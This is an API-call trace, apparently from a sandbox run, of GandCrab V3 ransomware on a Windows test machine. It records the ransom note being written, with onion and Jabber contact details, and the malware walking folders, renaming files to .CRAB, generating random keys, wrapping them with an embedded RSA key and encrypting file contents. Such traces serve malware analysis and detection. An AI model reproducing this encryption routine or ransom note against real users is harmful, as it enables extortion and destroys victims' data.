	[0118.748] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.748] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\\\CRAB-DECRYPT.txt") returned 118
	[0118.748] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\smartart graphics\\1033\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3dc
	[0118.750] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0118.750] WriteFile (in: hFile=0x3dc, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3147f5c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3147f5c*=0xcce, lpOverlapped=0x0) returned 1
	[0118.750] CloseHandle (hObject=0x3dc) returned 1
	[0118.751] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.751] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\") returned 101
	[0118.751] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*"
	[0118.751] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*", lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 0xded768
	[0118.751] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0118.751] FindNextFileW (in: hFindFile=0xded768, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.751] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0118.752] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0118.752] FindNextFileW (in: hFindFile=0xded768, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.752] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0118.752] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0118.752] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\CRAB-DECRYPT.txt"
	[0118.752] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.752] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\CRAB-DECRYPT.txt") returned 117
	[0118.752] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\CRAB-DECRYPT.txt") returned 117
	[0118.752] lstrlenW (lpString=".txt") returned 4
	[0118.752] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.752] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0118.753] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.753] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\CRAB-DECRYPT.txt") returned 117
	[0118.753] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\CRAB-DECRYPT.txt") returned 117
	[0118.753] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0118.753] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0118.753] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0118.753] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0118.753] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0118.753] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0118.753] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0118.753] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0118.753] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0118.753] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.754] FindNextFileW (in: hFindFile=0xded768, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 0
	[0118.754] FindClose (in: hFindFile=0xded768 | out: hFindFile=0xded768) returned 1
	[0118.754] FindNextFileW (in: hFindFile=0xded3a8, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0118.754] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0118.754] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0118.754] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\CRAB-DECRYPT.txt"
	[0118.754] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.755] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\CRAB-DECRYPT.txt") returned 112
	[0118.755] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\CRAB-DECRYPT.txt") returned 112
	[0118.755] lstrlenW (lpString=".txt") returned 4
	[0118.755] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.755] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0118.755] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.755] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\CRAB-DECRYPT.txt") returned 112
	[0118.755] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\CRAB-DECRYPT.txt") returned 112
	[0118.755] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0118.755] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0118.755] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0118.755] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0118.756] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0118.756] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0118.756] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0118.756] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0118.756] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0118.756] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.756] FindNextFileW (in: hFindFile=0xded3a8, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0
	[0118.756] FindClose (in: hFindFile=0xded3a8 | out: hFindFile=0xded3a8) returned 1
	[0118.756] FindNextFileW (in: hFindFile=0xdedbe8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0
	[0118.756] FindClose (in: hFindFile=0xdedbe8 | out: hFindFile=0xdedbe8) returned 1
	[0118.756] FindNextFileW (in: hFindFile=0xda3fe0, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0118.756] FindClose (in: hFindFile=0xda3fe0 | out: hFindFile=0xda3fe0) returned 1
	[0118.757] FindNextFileW (in: hFindFile=0xda4160, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0118.757] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0118.757] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0118.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\CRAB-DECRYPT.txt"
	[0118.757] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.757] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\CRAB-DECRYPT.txt") returned 86
	[0118.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\CRAB-DECRYPT.txt") returned 86
	[0118.757] lstrlenW (lpString=".txt") returned 4
	[0118.757] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.758] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0118.758] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\CRAB-DECRYPT.txt") returned 86
	[0118.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\CRAB-DECRYPT.txt") returned 86
	[0118.759] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0118.759] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0118.759] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0118.759] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0118.759] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0118.759] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0118.759] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0118.759] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0118.759] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0118.759] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.759] FindNextFileW (in: hFindFile=0xda4160, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0118.759] FindClose (in: hFindFile=0xda4160 | out: hFindFile=0xda4160) returned 1
	[0118.759] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0118.760] lstrcmpW (lpString1="Normal.dotm", lpString2=".") returned 1
	[0118.760] lstrcmpW (lpString1="Normal.dotm", lpString2="..") returned 1
	[0118.760] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Normal.dotm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm"
	[0118.760] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.760] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned 69
	[0118.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned 69
	[0118.760] lstrlenW (lpString=".dotm") returned 5
	[0118.760] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.760] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".dotm ") returned 6
	[0118.760] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned 69
	[0118.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned 69
	[0118.761] lstrcmpiW (lpString1="Normal.dotm", lpString2="desktop.ini") returned 1
	[0118.761] lstrcmpiW (lpString1="Normal.dotm", lpString2="autorun.inf") returned 1
	[0118.761] lstrcmpiW (lpString1="Normal.dotm", lpString2="ntuser.dat") returned -1
	[0118.761] lstrcmpiW (lpString1="Normal.dotm", lpString2="iconcache.db") returned 1
	[0118.761] lstrcmpiW (lpString1="Normal.dotm", lpString2="bootsect.bak") returned 1
	[0118.761] lstrcmpiW (lpString1="Normal.dotm", lpString2="boot.ini") returned 1
	[0118.761] lstrcmpiW (lpString1="Normal.dotm", lpString2="ntuser.dat.log") returned -1
	[0118.761] lstrcmpiW (lpString1="Normal.dotm", lpString2="thumbs.db") returned -1
	[0118.761] lstrcmpiW (lpString1="Normal.dotm", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.761] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.761] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.CRAB") returned 74
	[0118.761] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\normal.dotm")) returned 0x20
	[0118.762] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", dwFileAttributes=0x20) returned 1
	[0118.762] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\normal.dotm.crab")) returned 1
	[0118.763] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.764] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.CRAB"
	[0118.764] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.CRAB.CRAB"
	[0118.764] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0118.764] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.765] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.765] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.765] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0118.765] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.765] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.765] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0118.766] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.766] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.766] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.766] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0118.766] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.766] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.767] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.767] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.767] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e5a0) returned 1
	[0118.768] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xdedbe8) returned 1
	[0118.768] CryptGetKeyParam (in: hKey=0xdedbe8, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0118.768] CryptEncrypt (in: hKey=0xdedbe8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0118.769] GetLastError () returned 0x0
	[0118.769] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0118.769] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0118.769] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xded1e8) returned 1
	[0118.769] CryptGetKeyParam (in: hKey=0xded1e8, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0118.769] CryptEncrypt (in: hKey=0xded1e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0118.770] GetLastError () returned 0x0
	[0118.770] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.770] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\normal.dotm.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0118.770] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.771] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0118.771] ReadFile (in: hFile=0x3f4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314b474*=0x49a5, lpOverlapped=0x0) returned 1
	[0118.795] VirtualAlloc (lpAddress=0x0, dwSize=0x49b0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.795] VirtualAlloc (lpAddress=0x0, dwSize=0x49b0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0118.796] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.797] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffffb65b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.797] WriteFile (in: hFile=0x3f4, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x49b0, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314b464*=0x49b0, lpOverlapped=0x0) returned 1
	[0118.797] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.797] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.802] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0118.802] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0118.802] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0118.802] CloseHandle (hObject=0x3f4) returned 1
	[0118.803] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.804] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.804] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.804] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.805] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.805] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.805] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0118.805] lstrcmpW (lpString1="Process Map for Basic Flowchart.xltx", lpString2=".") returned 1
	[0118.805] lstrcmpW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="..") returned 1
	[0118.805] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Process Map for Basic Flowchart.xltx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx"
	[0118.805] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.806] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx") returned 94
	[0118.806] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx") returned 94
	[0118.806] lstrlenW (lpString=".xltx") returned 5
	[0118.806] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.806] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xltx ") returned 6
